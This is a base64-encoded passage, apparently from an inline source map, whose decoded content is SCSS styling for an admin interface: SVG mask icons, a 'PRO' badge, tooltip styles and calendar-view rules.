ggZD0nTTI1IDI3VjMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNMiAyTDMwIDMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICB9XG4gICAgJi5zbG4taWNvbi0tZmluZ2VycHJpbnQge1xuICAgICAgbWFzay1zaXplOiAxLjVyZW07XG4gICAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTIgMTFWMTZNMTUgMTNWMTZNOSAxM1YxNk0xNyA5LjVWMTZNNyA5LjVWMTQuNU0xMiAyMUMxNi45NzA2IDIxIDIxIDE2Ljk3MDYgMjEgMTJDMjEgNy4wMjk0NCAxNi45NzA2IDMgMTIgM0M3LjAyOTQ0IDMgMyA3LjAyOTQ0IDMgMTJDMyAxMy42NTY5IDMuNDY4NjkgMTUuMjAxNCA0LjI4MjIxIDE2LjVNMTIgN0MxNC4yMDkxIDcgMTYgOC43OTA4NiAxNiAxMUMxNiAxMS4zNTA2IDE1Ljk2NTIgMTEuNjkyNSAxNS44OTk4IDEyLjAyMjEnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjQgMjQnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xMiAxMVYxNk0xNSAxM1YxNk05IDEzVjE2TTE3IDkuNVYxNk03IDkuNVYxNC41TTEyIDIxQzE2Ljk3MDYgMjEgMjEgMTYuOTcwNiAyMSAxMkMyMSA3LjAyOTQ0IDE2Ljk3MDYgMyAxMiAzQzcuMDI5NDQgMyAzIDcuMDI5NDQgMyAxMkMzIDEzLjY1NjkgMy40Njg2OSAxNS4yMDE0IDQuMjgyMjEgMTYuNU0xMiA3QzE0LjIwOTEgNyAxNiA4Ljc5MDg2IDE2IDExQzE2IDExLjM1MDYgMTUuOTY1MiAxMS42OTI1IDE1Ljg5OTggMTIuMDIyMScgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgfVxuICAgICYuc2xuLWljb24tLXBob25lIHtcbiAgICAgIG1hc2stc2l6ZTogMS41cmVtO1xuICAgICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTMgNUMzIDMuODk1NDMgMy44OTU0MyAzIDUgM0g4LjI3OTI0QzguNzA5NjcgMyA5LjA5MTgxIDMuMjc1NDMgOS4yMjc5MiAzLjY4Mzc3TDEwLjcyNTcgOC4xNzcyMUMxMC44ODMxIDguNjQ5MzIgMTAuNjY5NCA5LjE2NTMxIDEwLjIyNDMgOS4zODc4N0w3Ljk2NzAxIDEwLjUxNjVDOS4wNjkyNSAxMi45NjEyIDExLjAzODggMTQuOTMwOCAxMy40ODM1IDE2LjAzM0wxNC42MTIxIDEzLjc3NTdDMTQuODM0NyAxMy4zMzA2IDE1LjM1MDcgMTMuMTE2OSAxNS44MjI4IDEzLjI3NDNMMjAuMzE2MiAxNC43NzIxQzIwLjcyNDYgMTQuOTA4MiAyMSAxNS4yOTAzIDIxIDE1LjcyMDhWMTlDMjEgMjAuMTA0NiAyMC4xMDQ2IDIxIDE5IDIxSDE4QzkuNzE1NzMgMjEgMyAxNC4yODQzIDMgNlY1Wicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTMgNUMzIDMuODk1NDMgMy44OTU0MyAzIDUgM0g4LjI3OTI0QzguNzA5NjcgMyA5LjA5MTgxIDMuMjc1NDMgOS4yMjc5MiAzLjY4Mzc3TDEwLjcyNTcgOC4xNzcyMUMxMC44ODMxIDguNjQ5MzIgMTAuNjY5NCA5LjE2NTMxIDEwLjIyNDMgOS4zODc4N0w3Ljk2NzAxIDEwLjUxNjVDOS4wNjkyNSAxMi45NjEyIDExLjAzODggMTQuOTMwOCAxMy40ODM1IDE2LjAzM0wxNC42MTIxIDEzLjc3NTdDMTQuODM0NyAxMy4zMzA2IDE1LjM1MDcgMTMuMTE2OSAxNS44MjI4IDEzLjI3NDNMMjAuMzE2MiAxNC43NzIxQzIwLjcyNDYgMTQuOTA4MiAyMSAxNS4yOTAzIDIxIDE1LjcyMDhWMTlDMjEgMjAuMTA0NiAyMC4xMDQ2IDIxIDE5IDIxSDE4QzkuNzE1NzMgMjEgMyAxNC4yODQzIDMgNlY1Wicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgfVxuICAgICYuc2xuLWljb24tLWVudmVsb3BlIHtcbiAgICAgIG1hc2stc2l6ZTogMS41cmVtO1xuICAgICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTMgOEwxMC44OTA2IDEzLjI2MDRDMTEuNTYyNCAxMy43MDgzIDEyLjQzNzYgMTMuNzA4MyAxMy4xMDk0IDEzLjI2MDRMMjEgOE01IDE5SDE5QzIwLjEwNDYgMTkgMjEgMTguMTA0NiAyMSAxN1Y3QzIxIDUuODk1NDMgMjAuMTA0NiA1IDE5IDVINUMzLjg5NTQzIDUgMyA1Ljg5NTQzIDMgN1YxN0MzIDE4LjEwNDYgMy44OTU0MyAxOSA1IDE5Wicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTMgOEwxMC44OTA2IDEzLjI2MDRDMTEuNTYyNCAxMy43MDgzIDEyLjQzNzYgMTMuNzA4MyAxMy4xMDk0IDEzLjI2MDRMMjEgOE01IDE5SDE5QzIwLjEwNDYgMTkgMjEgMTguMTA0NiAyMSAxN1Y3QzIxIDUuODk1NDMgMjAuMTA0NiA1IDE5IDVINUMzLjg5NTQzIDUgMyA1Ljg5NTQzIDMgN1YxN0MzIDE4LjEwNDYgMy44OTU0MyAxOSA1IDE5Wicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgfVxuICAgICYuc2xuLWljb24tLXVzZXIge1xuICAgICAgbWFzay1zaXplOiAxLjVyZW07XG4gICAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI3IDMxJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMjUuMTY2NiAyOC42MjVWMjUuNzA4M0MyNS4xNjY2IDI0LjE2MTIgMjQuNTUyIDIyLjY3NzUgMjMuNDU4IDIxLjU4MzVDMjIuMzY0MSAyMC40ODk2IDIwLjg4MDMgMTkuODc1IDE5LjMzMzMgMTkuODc1SDcuNjY2NThDNi4xMTk0OSAxOS44NzUgNC42MzU3NiAyMC40ODk2IDMuNTQxOCAyMS41ODM1QzIuNDQ3ODMgMjIuNjc3NSAxLjgzMzI1IDI0LjE2MTIgMS44MzMyNSAyNS43MDgzVjI4LjYyNU0xOS4zMzMzIDguMjA4MzNDMTkuMzMzMyAxMS40MyAxNi43MjE2IDE0LjA0MTcgMTMuNDk5OSAxNC4wNDE3QzEwLjI3ODMgMTQuMDQxNyA3LjY2NjU4IDExLjQzIDcuNjY2NTggOC4yMDgzM0M3LjY2NjU4IDQuOTg2NjcgMTAuMjc4MyAyLjM3NSAxMy40OTk5IDIuMzc1QzE2LjcyMTYgMi4zNzUgMTkuMzMzMyA0Ljk4NjY3IDE5LjMzMzMgOC4yMDgzM1onIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjcgMzEnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00yNS4xNjY2IDI4LjYyNVYyNS43MDgzQzI1LjE2NjYgMjQuMTYxMiAyNC41NTIgMjIuNjc3NSAyMy40NTggMjEuNTgzNUMyMi4zNjQxIDIwLjQ4OTYgMjAuODgwMyAxOS44NzUgMTkuMzMzMyAxOS44NzVINy42NjY1OEM2LjExOTQ5IDE5Ljg3NSA0LjYzNTc2IDIwLjQ4OTYgMy41NDE4IDIxLjU4MzVDMi40NDc4MyAyMi42Nzc1IDEuODMzMjUgMjQuMTYxMiAxLjgzMzI1IDI1LjcwODNWMjguNjI1TTE5LjMzMzMgOC4yMDgzM0MxOS4zMzMzIDExLjQzIDE2LjcyMTYgMTQuMDQxNyAxMy40OTk5IDE0LjA0MTdDMTAuMjc4MyAxNC4wNDE3IDcuNjY2NTggMTEuNDMgNy42NjY1OCA4LjIwODMzQzcuNjY2NTggNC45ODY2NyAxMC4yNzgzIDIuMzc1IDEzLjQ5OTkgMi4zNzVDMTYuNzIxNiAyLjM3NSAxOS4zMzMzIDQuOTg2NjcgMTkuMzMzMyA4LjIwODMzWicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgfVxuICAgICYuc2xuLWljb24tLWRlbGV0ZSB7XG4gICAgICBtYXNrLXNpemU6IDEuNXJlbTtcbiAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjkgMzMnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xLjM3NSA3Ljc1MDMzSDQuMjkxNjdNNC4yOTE2NyA3Ljc1MDMzSDI3LjYyNU00LjI5MTY3IDcuNzUwMzNWMjguMTY3QzQuMjkxNjcgMjguOTQwNSA0LjU5ODk2IDI5LjY4MjQgNS4xNDU5NCAzMC4yMjk0QzUuNjkyOTIgMzAuNzc2NCA2LjQzNDc5IDMxLjA4MzcgNy4yMDgzMyAzMS4wODM3SDIxLjc5MTdDMjIuNTY1MiAzMS4wODM3IDIzLjMwNzEgMzAuNzc2NCAyMy44NTQxIDMwLjIyOTRDMjQuNDAxIDI5LjY4MjQgMjQuNzA4MyAyOC45NDA1IDI0LjcwODMgMjguMTY3VjcuNzUwMzNNOC42NjY2NyA3Ljc1MDMzVjQuODMzNjZDOC42NjY2NyA0LjA2MDExIDguOTczOTYgMy4zMTgyNCA5LjUyMDk0IDIuNzcxMjZDMTAuMDY3OSAyLjIyNDI4IDEwLjgwOTggMS45MTY5OSAxMS41ODMzIDEuOTE2OTlIMTcuNDE2N0MxOC4xOTAyIDEuOTE2OTkgMTguOTMyMSAyLjIyNDI4IDE5LjQ3OTEgMi43NzEyNkMyMC4wMjYgMy4zMTgyNCAyMC4zMzMzIDQuMDYwMTEgMjAuMzMzMyA0LjgzMzY2VjcuNzUwMzNNMTEuNTgzMyAxNS4wNDJWMjMuNzkyTTE3LjQxNjcgMTUuMDQyVjIzLjc5Micgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyOSAzMycgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTEuMzc1IDcuNzUwMzNINC4yOTE2N000LjI5MTY3IDcuNzUwMzNIMjcuNjI1TTQuMjkxNjcgNy43NTAzM1YyOC4xNjdDNC4yOTE2NyAyOC45NDA1IDQuNTk4OTYgMjkuNjgyNCA1LjE0NTk0IDMwLjIyOTRDNS42OTI5MiAzMC43NzY0IDYuNDM0NzkgMzEuMDgzNyA3LjIwODMzIDMxLjA4MzdIMjEuNzkxN0MyMi41NjUyIDMxLjA4MzcgMjMuMzA3MSAzMC43NzY0IDIzLjg1NDEgMzAuMjI5NEMyNC40MDEgMjkuNjgyNCAyNC43MDgzIDI4Ljk0MDUgMjQuNzA4MyAyOC4xNjdWNy43NTAzM004LjY2NjY3IDcuNzUwMzNWNC44MzM2NkM4LjY2NjY3IDQuMDYwMTEgOC45NzM5NiAzLjMxODI0IDkuNTIwOTQgMi43NzEyNkMxMC4wNjc5IDIuMjI0MjggMTAuODA5OCAxLjkxNjk5IDExLjU4MzMgMS45MTY5OUgxNy40MTY3QzE4LjE5MDIgMS45MTY5OSAxOC45MzIxIDIuMjI0MjggMTkuNDc5MSAyLjc3MTI2QzIwLjAyNiAzLjMxODI0IDIwLjMzMzMgNC4wNjAxMSAyMC4zMzMzIDQuODMzNjZWNy43NTAzM00xMS41ODMzIDE1LjA0MlYyMy43OTJNMTcuNDE2NyAxNS4wNDJWMjMuNzkyJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICB9XG4gIH1cbn1cblxuLy8gUHJvIGZlYXR1cmUgc3R5bGluZ1xuLnNsbi1wcm8tZmVhdHVyZSB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJ1BSTyc7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLThweDtcbiAgICByaWdodDogLThweDtcbiAgICBiYWNrZ3JvdW5kOiAjZmY5ODAwO1xuICAgIGNvbG9yOiAjZmZmO1xuICAgIGZvbnQtc2l6ZTogMTBweDtcbiAgICBmb250LXdlaWdodDogNjAwO1xuICAgIHBhZGRpbmc6IDJweCA2cHg7XG4gICAgYm9yZGVyLXJhZGl1czogMTBweDtcbiAgICBsaW5lLWhlaWdodDogMTtcbiAgfVxufVxuXG4vLyBQUk8gRmVhdHVyZSBXcmFwcGVyIGluIFRvb2x0aXBcbi5zbG4tdG9vbHRpcC1hY3Rpb24td3JhcHBlci0tcHJvLWZlYXR1cmUge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG5cbiAgLnNsbi1uby1zaG93LWljb24tdG9vbHRpcC1mcmVlIHtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICBvcGFjaXR5OiAwLjU7XG4gIH1cblxuICAuc2xuLXByb2ZlYXR1cmUge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDA7XG4gICAgbGVmdDogMDtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBoZWlnaHQ6IDEwMCU7XG4gIH1cblxuICAuc2xuLXByb2ZlYXR1cmVfX2N0YSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogMDtcbiAgICBsZWZ0OiAwO1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIGhlaWdodDogMTAwJTtcbiAgfVxufVxuXG4vLyBBbmltYXRpb24gZm9yIHRvb2x0aXAgYXBwZWFyYW5jZVxuQGtleWZyYW1lcyBzbG4tdG9vbHRpcC1mYWRlLWluIHtcbiAgZnJvbSB7XG4gICAgb3BhY2l0eTogMDtcbiAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTEwcHgpIHNjYWxlKDAuOTUpO1xuICB9XG4gIHRvIHtcbiAgICBvcGFjaXR5OiAxO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKSBzY2FsZSgxKTtcbiAgfVxufVxuXG4vLyBSZXNwb25zaXZlIGFkanVzdG1lbnRzXG5AbWVkaWEgKG1heC13aWR0aDogNzY4cHgpIHtcbiAgLnNsbi10b29sdGlwLWNvbnRlbnQge1xuICAgIG1heC13aWR0aDogMjgwcHg7XG4gICAgbWluLXdpZHRoOiAyNDBweDtcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC1hY3Rpb25zIHtcbiAgICBnYXA6IDZweDtcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC1hY3Rpb24ge1xuICAgIHdpZHRoOiAzMnB4O1xuICAgIGhlaWdodDogMzJweDtcbiAgICBmb250LXNpemU6IDEycHg7XG4gIH1cbn1cblxuLy8gRGFyayBtb2RlIHN1cHBvcnQgKGNvbW1lbnRlZCBvdXQgZm9yIG5vdylcbi8qIEBtZWRpYSAocHJlZmVycy1jb2xvci1zY2hlbWU6IGRhcmspIHtcbiAgLnNsbi10b29sdGlwLWNvbnRlbnQge1xuICAgIGJhY2tncm91bmQ6ICMyYzNlNTA7XG4gICAgYm9yZGVyLWNvbG9yOiAjMzQ0OTVlO1xuICAgIGNvbG9yOiAjZWNmMGYxO1xuICB9XG5cbiAgLnNsbi10b29sdGlwLWhlYWRlciB7XG4gICAgYmFja2dyb3VuZDogIzM0NDk1ZTtcbiAgICBib3JkZXItYm90dG9tLWNvbG9yOiAjNGE1ZjdhO1xuICB9XG5cbiAgLnNsbi10b29sdGlwLXRpdGxlIHtcbiAgICBjb2xvcjogI2VjZjBmMTtcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC1jbG9zZSB7XG4gICAgY29sb3I6ICNiZGMzYzc7XG5cbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICM0YTVmN2E7XG4gICAgICBjb2xvcjogI2VjZjBmMTtcbiAgICB9XG4gIH1cblxuICAuc2xuLXRvb2x0aXAtZGV0YWlsIHtcbiAgICBib3JkZXItYm90dG9tLWNvbG9yOiAjNGE1ZjdhO1xuICB9XG5cbiAgLnNsbi10b29sdGlwLWxhYmVsIHtcbiAgICBjb2xvcjogI2JkYzNjNztcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC12YWx1ZSB7XG4gICAgY29sb3I6ICNlY2YwZjE7XG4gIH1cblxuICAuc2xuLXRvb2x0aXAtYWN0aW9uIHtcbiAgICBiYWNrZ3JvdW5kOiAjMzQ0OTVlO1xuICAgIGJvcmRlci1jb2xvcjogIzRhNWY3YTtcbiAgICBjb2xvcjogI2JkYzNjNztcblxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZDogIzRhNWY3YTtcbiAgICAgIGJvcmRlci1jb2xvcjogIzVhNmY4YTtcbiAgICAgIGNvbG9yOiAjZWNmMGYxO1xuICAgIH1cbiAgfVxufSAqL1xuIiwiQHVzZSAnLi4vYWRtaW5fY29uZmlnJztcbkB1c2UgJy4uL3R5cG8tYWRtaW4nO1xuQHVzZSAnLi4vc2V0dGluZ3MtbWl4aW5zJztcblxuLnNsbi1jYWxlbmRhci12aWV3IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcbiAgbWFyZ2luOiAwO1xuICBib3JkZXItcmFkaXVzOiAxLjM3NXJlbTtcbiAgQGV4dGVuZCAlemktYmFzZTtcbiAgZm9udC1zaXplOiB0eXBvLWFkbWluLiRmb250LXNpemUtYmFzZTtcbiAgW2RhdGEtY2FsLXZpZXddIHtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgLy8gQG1lZGlhIChob3ZlcjogaG92ZXIpIGFuZCAocG9pbnRlcjogZmluZSkge1xuICAgIC8vICAgJjpob3ZlciB7XG4gICAgLy8gICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAvLyAgIH1cbiAgICAvLyB9XG4gIH1cbiAgLmJ0bi1ncm91cCB7XG4gICAgbWFyZ2luLXRvcDogMDtcbiAgfVxuICAjY2FsZW5kYXIge1xuICAgIEBleHRlbmQgJXppLWZvbmRvO1xuICB9XG5cbiAgI2NhbC1kYXktYm94IHtcbiAgICBAZXh0ZW5kICV6aS1ncmFmaWNhO1xuICB9XG4gICNjYWwtZGF5LXBhbmVsIHtcbiAgICBAZXh0ZW5kICV6aS1oaWdobGlnaHRzO1xuICB9XG4gICNjYWwtc2xpZGUtY29udGVudCB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKFxuICAgICAgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCxcbiAgICAgIDAuNVxuICAgICk7XG4gICAgYS5ldmVudC1pdGVtIHtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIC5zbG4tY2FsZW5kYXItZXZlbnQtY2FsbHRvIHtcbiAgICAgICAgZGlzcGxheTogbm9uZTtcbiAgICAgIH1cbiAgICAgICY6aG92ZXIge1xuICAgICAgICAuc2xuLWNhbGVuZGFyLWV2ZW50LWNhbGx0byB7XG4gICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1jYWxlbmRhci1ldmVudC1jYWxsdG8ge1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgbGVmdDogY2FsYygxMDAlICsgMTRweCk7XG4gICAgICB0b3A6IGNhbGMoNTAlIC0gMTVweCk7XG4gICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgICAgLy9ib3JkZXI6IDRweCBzb2xpZCAkY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oNTRweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IDMwcHg7XG4gICAgICBAZXh0ZW5kICVmb250LWJpZztcbiAgICAgIC8vQGluY2x1ZGUgYi1yYWRpdXMoNHB4KTtcbiAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICB3aWR0aDogMjRweDtcbiAgICAgICAgaGVpZ2h0OiAyNHB4O1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIGxlZnQ6IC04cHg7XG4gICAgICAgIHRvcDogY2FsYyg1MCUgLSA4cHgpO1xuICAgICAgICAvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgICAgLy8tbXMtdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpO1xuICAgICAgICAvLy13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpO1xuICAgICAgICAvL3RyYW5zZm9ybTogcm90YXRlKDQ1ZGVnKTtcbiAgICAgICAgd2lkdGg6IDA7XG4gICAgICAgIGhlaWdodDogMDtcbiAgICAgICAgYm9yZGVyLXRvcDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgICBib3JkZXItYm90dG9tOiA4cHggc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgICAgIGJvcmRlci1yaWdodDogOHB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICB9XG4gICAgICAvKiBGSVggMDkyMDIzXG5cdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0Y29udGVudDogXCJcXGYwMTNcIjtcblx0XHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRcdHRvcDogMDtcblx0XHRcdFx0cmlnaHQ6IDA7XG5cdFx0XHRcdGJvdHRvbTogMDtcblx0XHRcdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdEBpbmNsdWRlIHRyYW5zaXRpb24oYmFja2dyb3VuZC1jb2xvciAyMDBtcywgY29sb3IgMzAwbXMpO1xuXHRcdFx0XHR6LWluZGV4OiAyMDA7XG5cdFx0XHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcblx0XHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuXHRcdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NXB4KTtcblx0XHRcdH1cblx0XHRcdCovXG4gICAgfVxuICB9XG4gIC5jYWwtZGF5LXBhZ2luYXRpb24ge1xuICAgIC5idG4ge1xuICAgICAgbWFyZ2luOiAwIDNweCAhaW1wb3J0YW50O1xuICAgICAgcGFkZGluZzogMCAhaW1wb3J0YW50O1xuICAgICAgd2lkdGg6IDE4cHg7XG4gICAgICBoZWlnaHQ6IDE4cHg7XG4gICAgICBib3JkZXItcmFkaXVzOiA1MCUgIWltcG9ydGFudDtcblxuICAgICAgJi5hY3RpdmUge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuY2FsLWRheS1ob3VyLXBhcnQ6aG92ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHQ7XG4gIH1cblxuICAuc2xuLWNhbGVuZGFyLXZpZXctaGVhZGVyIHtcbiAgICAvLyBkaXNwbGF5OiBncmlkO1xuICAgIC8vIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyIDJmcjtcbiAgICBnYXA6IDFyZW07XG4gICAgLy8gYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgLy8gbWFyZ2luOiAxcmVtIDAgMnJlbSAwO1xuICAgICY6aGFzKC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcC13cmFwcGVyKSB7XG4gICA